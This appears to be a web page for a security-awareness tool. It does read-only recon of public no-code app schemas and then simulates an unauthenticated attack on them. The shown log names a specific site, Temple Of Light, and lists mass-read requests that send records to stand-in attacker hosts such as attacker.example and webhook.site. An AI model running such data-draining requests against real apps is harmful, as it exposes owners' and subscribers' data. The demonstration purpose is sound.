Your browser reads the public schema for real. The attack that follows is a local simulation — nothing is sent, deleted, or invoked.
SECURITY RUSSIAN ROULETTE · NO LOGIN REQUIRED
Pick. Draw. Pull the trigger.
Pick any published directory app or draw one at random. Your browser first reads its public schema — open entities and functions — then simulates the attack an unauthenticated hacker could run with no exploit: drain the data, wipe it, abuse the functions, lock the owner out. Secured apps end empty. Unsecured ones fire.
The recon is real and read-only. The attack is a local simulation — nothing is sent, deleted, or invoked.
1 · SELECT OR DRAW A DIRECTORY APP
PLAYABLE DIRECTORY
2632 playable apps · 0 with approved evidence
Total playable apps: 2632. Apps with approved assessment evidence: 0. The cylinder is a six-chamber visualization of the approved-evidence population, not a security probability. Zero approved evidence does not disable play — every published app is playable.
2 · PULL THE TRIGGER
Temple Of Light
PUBLIC-SURFACE RECON
Temple Of Light
browser · read-only recon
Open data entities
30/30
Open functions
14/14
ReconExfiltrateDestroyAbuseLockoutSIMULATION · NOTHING IS SENT OR DELETED
001 > target acquired: Temple Of Light
002 > origin: https://templeoflighthealingca.com/
003 > app id resolved: 6a032c7689ed29c72f7ecec1
004 > open entities: 30 · open functions: 14
005 > phase 1 — exfiltration
006 GET /api/apps/.../entities/Settings?limit=99999 → 1,216 rows → https://attacker.example/collect
007 GET /api/apps/.../entities/FooterLink?limit=99999 → 1,490 rows → https://paste.example/raw
008 GET /api/apps/.../entities/NewsletterSignup?limit=99999 → 2,312 rows → https://webhook.site/00000000
Step 1 reads the app’s public schema with anonymous, read-only probes from your browser (no mutations, no record values shown). Step 2 is a fully local simulation of what an attacker could do with those open endpoints — nothing is actually sent, deleted, or invoked.